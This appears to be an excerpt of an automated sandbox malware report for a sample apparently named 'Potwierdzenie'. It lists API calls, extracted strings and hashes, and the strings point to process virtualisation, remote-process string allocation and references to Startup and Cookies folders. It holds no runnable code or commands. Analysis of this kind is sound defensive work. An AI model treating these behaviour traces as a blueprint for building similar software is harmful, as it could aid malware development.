memcpy.NTDLL(00000000,00000000,00000000,?,0BCD9CE8,?,00000000,00000000,?,?,?,?,?,00000000,0BCD9CE8), ref: 0BC60610
memcpy.NTDLL(?,?,?,?,00000000,?,00000000,?,?,?,?,?,00000000,0BCD9CE8), ref: 0BC6068A
memcpy.NTDLL(00000000,0BCD9D08,00000000,?,?,?,?,00000000,?,00000000,?,?,?,?,?,00000000), ref: 0BC606A0
memcpy.NTDLL(00000000,?,?,00000000,00000000,?,00000000,?,?,?,?,00000000,?,00000000), ref: 0BC6083D
memcpy.NTDLL(00000000,0BCD9CE8,00000000,00000000,00000000,?,00000000,?,?,00000000,?,?,?,00000000,?,00000000), ref: 0BC609EC

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 4c0c5fd2e709b1b50cffdda9be72fcfe5df52227d754bb4046c9cc8b6129d8ef
Instruction ID: 60d4b684e9c307ac1fa966e235c01648b073061ee11c876789d4c60b5c977ba5
Opcode Fuzzy Hash: 4c0c5fd2e709b1b50cffdda9be72fcfe5df52227d754bb4046c9cc8b6129d8ef
Instruction Fuzzy Hash: A242ADB1D212099FDB14EFA0C8D5BAFB7B8FF44304F444069D50AAB241EB74AA45DFA1

Function 0BC688E0 Relevance: 9.4, APIs: 6, Instructions: 388COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?), ref: 0BC689D2
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?), ref: 0BC68A9E

Part of subcall function 0BBF1950: CreateSemaphoreW.KERNEL32(00000000,00000000,7FFFFFFF,00000000,?,?,?,?), ref: 0BBF19F2
Part of subcall function 0BBF1950: GetTickCount.KERNEL32 ref: 0BBF1A0E
Part of subcall function 0BBF1950: GetTickCount.KERNEL32 ref: 0BBF1A3D

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?), ref: 0BC68BAD
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?), ref: 0BC68C73
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?), ref: 0BC68D0F
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000001,000000FF,?,?), ref: 0BC68D5A

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Semaphore$Release$CountTick$CreateCurrentThread
String ID:
API String ID: 630394301-0
Opcode ID: e09381d487d974447f5f0b81036477ec898f5f04cb753622d9e48af197a2b9f9
Instruction ID: 6930e20fb172a47939428c4197ff712f344886af51000a97fb47fe3b9efdb8d3
Opcode Fuzzy Hash: e09381d487d974447f5f0b81036477ec898f5f04cb753622d9e48af197a2b9f9
Instruction Fuzzy Hash: 8102F2B4611606EFCB18CF18C4C0F94BBB0FF18354F21429AD9598B292D731EA96CFA0

Function 0BC227E0 Relevance: 9.4, APIs: 6, Instructions: 388COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(000000C0,00000001,00000000,?,000000FF,00000000,00000001,000000FF,?,0BCEBE00,000000FF,00000000,?), ref: 0BC228D2
ReleaseSemaphore.KERNEL32(000000C0,00000001,00000000,?,000000FF,00000000,00000001,000000FF,?,0BCEBE00,000000FF,00000000,?), ref: 0BC2299E

Part of subcall function 0BBF1950: CreateSemaphoreW.KERNEL32(00000000,00000000,7FFFFFFF,00000000,?,?,?,?), ref: 0BBF19F2
Part of subcall function 0BBF1950: GetTickCount.KERNEL32 ref: 0BBF1A0E
Part of subcall function 0BBF1950: GetTickCount.KERNEL32 ref: 0BBF1A3D

ReleaseSemaphore.KERNEL32(000000C0,00000001,00000000,?,000000FF,00000000,00000001,000000FF,?,0BCEBE00,000000FF,00000000,?), ref: 0BC22AAD
ReleaseSemaphore.KERNEL32(000000C0,00000001,00000000,?,000000FF,00000000,00000001,000000FF,?,0BCEBE00,000000FF,00000000,?), ref: 0BC22B73
ReleaseSemaphore.KERNEL32(000000C0,00000001,00000000,?,000000FF,00000000,00000001,000000FF,?,0BCEBE00,000000FF,00000000,?), ref: 0BC22C0F
ReleaseSemaphore.KERNEL32(000000C0,00000001,00000000,00000001,000000FF,?,0BCEBE00,000000FF,00000000,?), ref: 0BC22C5A

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Semaphore$Release$CountTick$CreateCurrentThread
String ID:
API String ID: 630394301-0
Opcode ID: 805f07a8c0b2f06ec6f8b14692561a11b0d5442159f2bdfeb6b7e4b2f7a37452
Instruction ID: 2d59785d2585deb9c9bb3c80bdf896ad9c8bf33dbb949aac451547bd309b4346
Opcode Fuzzy Hash: 805f07a8c0b2f06ec6f8b14692561a11b0d5442159f2bdfeb6b7e4b2f7a37452
Instruction Fuzzy Hash: 0502E0B4A10616DFDB14CF19C1C0B94BBB4FF08324F214299D9598F692D731EA96CF90

Function 0BC5C240 Relevance: 9.4, APIs: 6, Instructions: 387COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?,000000FF,?,?,?,0BC5BE47,0BC5BE47), ref: 0BC5C372
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?,000000FF,?,?,?,0BC5BE47,0BC5BE47), ref: 0BC5C480

Part of subcall function 0BBF1950: CreateSemaphoreW.KERNEL32(00000000,00000000,7FFFFFFF,00000000,?,?,?,?), ref: 0BBF19F2
Part of subcall function 0BBF1950: GetTickCount.KERNEL32 ref: 0BBF1A0E
Part of subcall function 0BBF1950: GetTickCount.KERNEL32 ref: 0BBF1A3D

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?,000000FF,?,?,?,0BC5BE47,0BC5BE47), ref: 0BC5C5F8
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?,000000FF,?,?,?,0BC5BE47,0BC5BE47), ref: 0BC5C706
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?,000000FF,?,?,?,0BC5BE47,0BC5BE47), ref: 0BC5C7DB
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000001,000000FF,?,?,000000FF,?,?,?,0BC5BE47,0BC5BE47,?,?,0BC5BE47), ref: 0BC5C82C

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Semaphore$Release$CountTick$CreateCurrentThread
String ID:
API String ID: 630394301-0
Opcode ID: 73310a28f2acabac80d7a9bb343c7a7e100f40780b9b5fc1aa9f3d1ef814154d
Instruction ID: cdabb3d546ba2feaa0153061a199b9305546910ef83ca7379e79122c1b892462
Opcode Fuzzy Hash: 73310a28f2acabac80d7a9bb343c7a7e100f40780b9b5fc1aa9f3d1ef814154d
Instruction Fuzzy Hash: 1012A1B46116099FCB04CF18C4C4BE577F4FB09314F5881B9EE198F692D732A686CBA8

Function 0BC49B70 Relevance: 9.4, APIs: 6, Instructions: 387COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?,000000FF,?,?,?,00000001,?), ref: 0BC49CA2
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?,000000FF,?,?,?,00000001,?), ref: 0BC49DB0

Part of subcall function 0BBF1950: CreateSemaphoreW.KERNEL32(00000000,00000000,7FFFFFFF,00000000,?,?,?,?), ref: 0BBF19F2
Part of subcall function 0BBF1950: GetTickCount.KERNEL32 ref: 0BBF1A0E
Part of subcall function 0BBF1950: GetTickCount.KERNEL32 ref: 0BBF1A3D

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?,000000FF,?,?,?,00000001,?), ref: 0BC49F28
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?,000000FF,?,?,?,00000001,?), ref: 0BC4A036
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,?,00000001,000000FF,?,?,000000FF,?,?,?,00000001,?), ref: 0BC4A10B
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000001,000000FF,?,?,000000FF,?,?,?,00000001,?,?,?), ref: 0BC4A15C

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Semaphore$Release$CountTick$CreateCurrentThread
String ID:
API String ID: 630394301-0
Opcode ID: 5003624c8d11f9721f3a182bf812ea12d46ef764d6e7fca15e4ebb057240dcef
Instruction ID: 5c99c1e8173a27f9390d5b73a5f3482350ef4032f08c7d4cecad8c6a7f2f967e
Opcode Fuzzy Hash: 5003624c8d11f9721f3a182bf812ea12d46ef764d6e7fca15e4ebb057240dcef
Instruction Fuzzy Hash: 1B12D37459160AEFCB10CF54D0C8BE5B7B4BB19314F1842B9E9198F292D772A686CFA0

Function 0BC64160 Relevance: 6.8, APIs: 5, Instructions: 509COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70bc22b66ed5524509cbd94e45605a1782aa17aef6c0581d0c27f69a3a4f7c7b
Instruction ID: f775032e14f945aae844cfbe19c3b4393f395a6c9854a8fad4aeecc3642f61ff
Opcode Fuzzy Hash: 70bc22b66ed5524509cbd94e45605a1782aa17aef6c0581d0c27f69a3a4f7c7b
Instruction Fuzzy Hash: 0E126F71921209AFDB08EFA4D895FEEB7B9FF44340F444029E806AB351EB34DA45DB61

Function 0BC0A920 Relevance: 6.4, APIs: 5, Instructions: 136COMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,0BCCEC0C,?,00000000,00000000), ref: 0BC0A971
memcpy.NTDLL(?,00000000,00000000,00000000), ref: 0BC0A9BE
memcpy.NTDLL(00000000,?,00000000,?,?,?,?,00000000), ref: 0BC0AA0C
memcpy.NTDLL(00000000,0BCCEC0C,00000000,00220000,?,?,?,00000000), ref: 0BC0AA4B
memcpy.NTDLL(?,?,?,00000000,?,?,00220000,?,?,?,00000000), ref: 0BC0AA7B

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 2a012f21008f4a0be1100050251228dca4abb774edfdb0af8cdc9d0bd81963ff
Instruction ID: f36d12489ead9434cbff15fbc673a6527a48dd2ad320b8d217f5c8a6e02db6de
Opcode Fuzzy Hash: 2a012f21008f4a0be1100050251228dca4abb774edfdb0af8cdc9d0bd81963ff
Instruction Fuzzy Hash: FB418471A202059FCB14DF58D882EBB73ADEF99340F85456EE4169B151EB30EE05D7D0

Function 0BC0AEF0 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,00000000), ref: 0BC0AF15
VirtualQuery.KERNEL32(?,?,0000001C,?,?,?,?,00000000), ref: 0BC0AF32

Part of subcall function 0BCC0DD0: VirtualAlloc.KERNEL32(00000000,?,00001000,0BC0ADC4,?,0BC0ADC4,?,00000005,00000040,?,?,?,?,00000000), ref: 0BCC0DE0

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0BC0B061
FlushInstructionCache.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 0BC0B068

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Virtual$AllocCacheCurrentFlushInfoInstructionProcessQuerySystem
String ID:
API String ID: 2666111047-0
Opcode ID: fc37ed6350b43c71a9928a016bd1774cf3d1dba33ee4313d1065cf35caa96bbf
Instruction ID: 066788aa4f05b47318169870b147759dbc009f3cee64491afd801999f8bb0e8f
Opcode Fuzzy Hash: fc37ed6350b43c71a9928a016bd1774cf3d1dba33ee4313d1065cf35caa96bbf
Instruction Fuzzy Hash: 0E515EB1910709EFDB10DFA8D885A9ABBF8EF14204F14856DE545E7241E631EA058BA0

Function 0BC0A2A0 Relevance: 3.2, APIs: 2, Instructions: 152COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,00000059,?,000000FF,?,?,00000000), ref: 0BC0A2F2
GetLocaleInfoW.KERNEL32(?,0000005A,?,000000FF,?,?,00000000), ref: 0BC0A367

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 56cbf61dd1d8278807c3dfa468440eba4accb5bf7d52a19ae69b050ef1f66110
Instruction ID: 777ca5fc1d2a96e33ae960b4230dd412488c9287e140dfd05e276de6a230dacb
Opcode Fuzzy Hash: 56cbf61dd1d8278807c3dfa468440eba4accb5bf7d52a19ae69b050ef1f66110
Instruction Fuzzy Hash: 05519675620206ABCB20DF64C885AABB7EAFF44704F048469E559D7381DB30F945CB95

Function 0BC189A0 Relevance: 1.6, APIs: 1, Instructions: 123COMMON

Download Yara Rule

APIs

Part of subcall function 0BBFE1A0: GetCurrentThreadId.KERNEL32 ref: 0BBFE1AD

ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC18AD7

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentReleaseSemaphoreThread
String ID:
API String ID: 194560753-0
Opcode ID: 3180a56225c90640c692caace8d1cace3820a843846d4363295a8739d6263b49
Instruction ID: a522e9aa78d7aa84071e0f04b9425f4bbffe510b1ba03988470fde8512234457
Opcode Fuzzy Hash: 3180a56225c90640c692caace8d1cace3820a843846d4363295a8739d6263b49
Instruction Fuzzy Hash: 8B416D70A26601DFCB28CF58D480A56BBF5FF09310F114B69E815AB741D770EA81DBE0

Function 0BBF4DF0 Relevance: 51.1, APIs: 16, Strings: 13, Instructions: 356fileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0BBF4EAE
wsprintfW.USER32 ref: 0BBF4F45
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,00000058,00000000), ref: 0BBF4F59
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000058), ref: 0BBF4FDB
GetLastError.KERNEL32 ref: 0BBF4FE7
GetCurrentProcess.KERNEL32(?,?,?,00000000,00000000,00000002), ref: 0BBF504B
DuplicateHandle.KERNEL32(00000000), ref: 0BBF5052
GetLastError.KERNEL32 ref: 0BBF505C
GetLastError.KERNEL32 ref: 0BBF4F65

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

UnmapViewOfFile.KERNEL32(00000000), ref: 0BBF5195
CloseHandle.KERNEL32(00000000), ref: 0BBF520D
CloseHandle.KERNEL32(?), ref: 0BBF5214
CloseHandle.KERNEL32(?), ref: 0BBF523D

Strings

BoxedApp::CBoxedAppCore::CreateMixedBitnessVirtualProcess, xrefs: 0BBF4E32, 0BBF4ED3, 0BBF4F8A, 0BBF5156
: ResumeThread() failed, last error = , xrefs: 0BBF5115
: DuplicateHandle() failed, last error = , xrefs: 0BBF5080
D, xrefs: 0BBF4E65
core, xrefs: 0BBF4E37, 0BBF4ED8, 0BBF4F8F, 0BBF515B
BuildRunDll32HelperCmdLine() failed, xrefs: 0BBF4E2D
MapViewOfFile() failed, last error: , xrefs: 0BBF500B
: AllocStringInRemoteProcessW() failed, last error = , xrefs: 0BBF50D4
%s%d, xrefs: 0BBF4F3C
: Can't create process of rundll32.exe, last error = , xrefs: 0BBF4ECE
CreateFileMappingW() failed, last error: , xrefs: 0BBF4F85
: SafeWaitForSingleObject() returns error: , xrefs: 0BBF5151
bx_process_run_virtual_helper_data_, xrefs: 0BBF4F37

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ErrorHandleLast$CloseFilememcpywsprintf$View$CreateCurrentDuplicateLocalMappingProcessTimeUnmap
String ID: BuildRunDll32HelperCmdLine() failed$%s%d$: AllocStringInRemoteProcessW() failed, last error = $: Can't create process of rundll32.exe, last error = $: DuplicateHandle() failed, last error = $: ResumeThread() failed, last error = $: SafeWaitForSingleObject() returns error: $BoxedApp::CBoxedAppCore::CreateMixedBitnessVirtualProcess$CreateFileMappingW() failed, last error: $D$MapViewOfFile() failed, last error: $bx_process_run_virtual_helper_data_$core
API String ID: 1284720384-3428074173
Opcode ID: dd43258b0361998025a26a0185f142521d73e771ed4673606d4a2f6d6865828c
Instruction ID: 8d05f9434c645a034ccd4239e3088d22bb2896abb37f63303a577f7fb5835c51
Opcode Fuzzy Hash: dd43258b0361998025a26a0185f142521d73e771ed4673606d4a2f6d6865828c
Instruction Fuzzy Hash: 51C1B331B90206AFDB24EBB4DC55F6E77B5EF54704F044178E616AB290DB70EA088B61

Function 0BC38CB0 Relevance: 48.2, APIs: 2, Strings: 30, Instructions: 219COMMON

Download Yara Rule

APIs

Part of subcall function 0BC35CD0: memcpy.NTDLL(00000000,?,?,00000000,00000000,?,?,00000000), ref: 0BC35E5F

Part of subcall function 0BC35CD0: memcpy.NTDLL(00000000,00000017,00000000,00000000,00000000,00000000), ref: 0BC35DF4

memcpy.NTDLL(00000000,#SystemDrive#,?,00000000,00000000,?,00000024,#SystemDrive#\#Windows#,00000029,#SystemDrive#\#Windows#\#System32#,0000002A,#ProgramFiles32#,00000028,#UserProfile#,0000002C,#ProgramFiles32#\#Common#), ref: 0BC38ECB
memcpy.NTDLL(?,?,?,00000000,00000000,00000018,#AllUsers#\#StartMenu#\#Startup#,00000017,#AllUsers#\#StartMenu#\#Programs#,00000000), ref: 0BC38F3C

Strings

#UserProfile#\#MyDocuments#, xrefs: 0BC38D0E
#UserProfile#\#AppData#, xrefs: 0BC38CF2
#AllUsers#\#Favorites#, xrefs: 0BC38DE0
#AllUsers#\#Music#, xrefs: 0BC38DB6
#UserProfile#, xrefs: 0BC38E18
#AllUsers#\#Templates#, xrefs: 0BC38DEE
#UserProfile#\#StartMenu#\#Startup#, xrefs: 0BC38CE4
#SystemDrive#, xrefs: 0BC38E7B, 0BC38EC2
#AllUsers#\#Documents#, xrefs: 0BC38DA8
#UserProfile#\#StartMenu#, xrefs: 0BC38D7E
#AllUsers#\#StartMenu#\#Startup#, xrefs: 0BC38CC8
#AllUsers#\#Pictures#, xrefs: 0BC38DC4
#ProgramFiles32#, xrefs: 0BC38E26
#ProgramFiles32#\#Common#, xrefs: 0BC38E0A
#UserProfile#\#Favorites#, xrefs: 0BC38D46
#UserProfile#\#Desktop#, xrefs: 0BC38D00
#UserProfile#\#LocalAppData#, xrefs: 0BC38D70
#AllUsers#\#AppData#, xrefs: 0BC38D8C
#AllUsers#\#StartMenu#\#Programs#, xrefs: 0BC38CBA
#AllUsers#\#Video#, xrefs: 0BC38DD2
#UserProfile#\#Cookies#, xrefs: 0BC38D62
#UserProfile#\#Templates#, xrefs: 0BC38D54
#UserProfile#\#MyMusic#, xrefs: 0BC38D1C
#UserProfile#\#MyVideo#, xrefs: 0BC38D38
#UserProfile#\#MyPictures#, xrefs: 0BC38D2A
#UserProfile#\#StartMenu#\#Programs#, xrefs: 0BC38CD6
#SystemDrive#\#Windows#, xrefs: 0BC38E42
#AllUsers#\#Desktop#, xrefs: 0BC38D9A
#SystemDrive#\#Windows#\#System32#, xrefs: 0BC38E34
#AllUsers#\#StartMenu#, xrefs: 0BC38DFC

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
